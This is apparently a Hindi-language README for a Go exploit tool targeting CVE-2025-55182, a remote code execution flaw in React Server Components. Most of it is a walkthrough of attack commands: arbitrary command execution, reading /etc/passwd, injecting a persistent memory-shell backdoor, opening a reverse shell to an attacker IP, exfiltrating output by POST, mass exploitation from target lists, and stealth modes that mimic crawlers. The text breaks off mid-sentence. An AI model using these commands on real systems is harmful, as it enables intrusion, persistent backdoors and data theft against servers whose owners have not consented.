keklick1337/cve-2025-55182-golang-pocGo-आधारित प्रूफ-ऑफ-कॉन्सेप्ट CVE-2025-55182 के लिए, जो React Server Components में एक गंभीर RCE है। इसमें भेद्यता जाँच, कमांड निष्पादन, मेमोरी शेल इंजेक्शन, रिवर्स शेल, बैच स्कैनिंग, और अधिकृत सुरक्षा परीक्षण के लिए प्रॉक्सी समर्थन शामिल है।
⚠️ केवल अधिकृत सुरक्षा परीक्षण के लिए ⚠️
CVE-2025-55182 (जिसे CVE-2025-66478 के नाम से भी जाना जाता है) React Server Components (Flight प्रोटोकॉल) में एक गंभीर Remote Code Execution (RCE) भेद्यता है। यह टूल सुरक्षा अनुसंधान और अधिकृत पेनेट्रेशन परीक्षण के लिए PoC का एक Go कार्यान्वयन है।
प्रभावित संस्करण:
यह एक्सप्लॉइट Flight प्रोटोकॉल डिसीरियलाइज़ेशन में प्रोटोटाइप पॉल्यूशन का लाभ उठाता है:
$@ डिसीरियलाइज़ेशन का उपयोग करता हैChunk.prototype.then को रूट ऑब्जेक्ट के then प्रॉपर्टी के रूप में रखता हैinitializeModelChunk को कॉल करने के लिए स्टेटस को RESOLVED_MODEL पर सेट करता हैresponse._formData.get को कॉल करता हैresponse._formData.get को Function कंस्ट्रक्टर पर सेट करता है/exec?cmd= पर स्थायी बैकडोरअपने प्लेटफ़ॉर्म के लिए नवीनतम रिलीज़ GitHub Releases से डाउनलोड करें।
उपलब्ध बाइनरी:
# Clone repository
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# Build for current platform
go build -o cve-2025-55182 .
# Or build for all platforms
chmod +x build.sh
./build.sh
./build.sh चलाने के बाद, सभी समर्थित प्लेटफ़ॉर्मों के लिए बाइनरी build/ निर्देशिका में उपलब्ध होंगी।
# Check single target for vulnerability
./cve-2025-55182 -u http://target:3000 --check
# Detect Next.js version
./cve-2025-55182 -u http://target:3000 --version-check
# Execute command with output
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
# Inject memory shell (checks if already installed first)
./cve-2025-55182 -u http://target:3000 --memshell
# Test if memory shell is active
./cve-2025-55182 -u http://target:3000 --test-shell
# Execute command via memory shell
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
# After injection, you can also use curl directly:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'
# Add custom headers (can be used multiple times)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# Skip SSL certificate verification (for self-signed certs)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure
# Combine with other options
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 with authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 without authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
# SOCKS4 proxy
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
# HTTP proxy
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
# Batch check from file
./cve-2025-55182 --urls targets.txt --check
# Batch scan with JSON output
./cve-2025-55182 --urls targets.txt --check --json -o results.json
# Batch scan with multiple threads and stealth
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
# Save vulnerable targets to file
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
# Batch memory shell injection
./cve-2025-55182 --urls targets.txt --memshell --workers 10
# Batch command execution
./cve-2025-55182 --urls targets.txt -c "id" --threads 5
# Reverse shell (mkfifo + nc, works on Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
# Start listener on attacker machine first:
nc -lvnp 4444
# Exfiltrate command output via HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# Start listener: nc -lvnp 4444
| विकल्प | विवरण |
|---|---|
-u, --url | लक्ष्य URL (जैसे, http://localhost:3000) |
-f, --file | लक्ष्य URL वाली फ़ाइल (प्रति पंक्ति एक) |
--urls | -f/--file का उपनाम |
-o, --output | भेद्य लक्ष्यों के लिए आउटपुट फ़ाइल |
--json | परिणाम JSON प्रारूप में आउटपुट करें |
-c, --command | निष्पादित करने के लिए कमांड (आउटपुट के साथ) |
--check | भेद्यता की जाँच करें |
--version-check | Next.js संस्करण का पता लगाएं |
--proxy | प्रॉक्सी URL (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port) |
-H, --header | कस्टम हेडर (कई बार उपयोग किया जा सकता है) |
-k, --insecure | SSL/TLS प्रमाणपत्र सत्यापन छोड़ें |
--stealth | स्टील्थ मोड: browser, crawler, security (डिफ़ॉल्ट: browser) |
--delay | अनुरोधों के बीच विलंब (जैसे, 2s, 500ms) |
--variants | गहन जाँच के लिए कई पेलोड वेरिएंट का उपयोग करें |
--memshell | मेमोरी शेल इंजेक्ट करें (स्थायी बैकडोर) |
--test-shell | जाँचें कि मेमोरी शेल सक्रिय है या नहीं |
--shell-exec | मेमोरी शेल के माध्यम से कमांड निष्पादित करें |
--revshell IP PORT | रिवर्स शेल स्थापित करें |
--exfil CMD IP PORT | कमांड निष्पादित करें और आउटपुट POST करें |
-t, --timeout | सेकंड में अनुरोध टाइमआउट (डिफ़ॉल्ट: 15) |
--threads | समवर्ती थ्रेड की संख्या (डिफ़ॉल्ट: 10) |
--workers | --threads का उपनाम |
--nocolor | रंगीन आउटपुट अक्षम करें (Windows/पाइप के लिए) |
-h, --help | सहायता संदेश दिखाएं |
-v, --version | संस्करण दिखाएं |
socks5://user:pass@ip:port - SOCKS5 with authentication
socks5://ip:port - SOCKS5 without authentication
socks5h://ip:port - SOCKS5 with remote DNS resolution
socks4://ip:port - SOCKS4 proxy
socks4a://ip:port - SOCKS4a proxy
http://user:pass@ip:port - HTTP proxy with authentication
http://ip:port - HTTP proxy without authentication
https://ip:port - HTTPS proxy
| मोड | विवरण |
|---|---|
browser | वास्तविक ब्राउज़र अनुरोधों की नकल करता है (Chrome, Firefox, Safari, Edge) - डिफ़ॉल्ट |
crawler | सर्च इंजन क्रॉलर की नकल करता है (Googlebot, Bingbot, Baiduspider, आदि) |
security | सुरक्षा स्कैनर User-Agent का उपयोग करता है (Nessus, Nuclei) |
मेमोरी शेल सुविधा एक स्थायी बैकडोर इंजेक्ट करती है जो: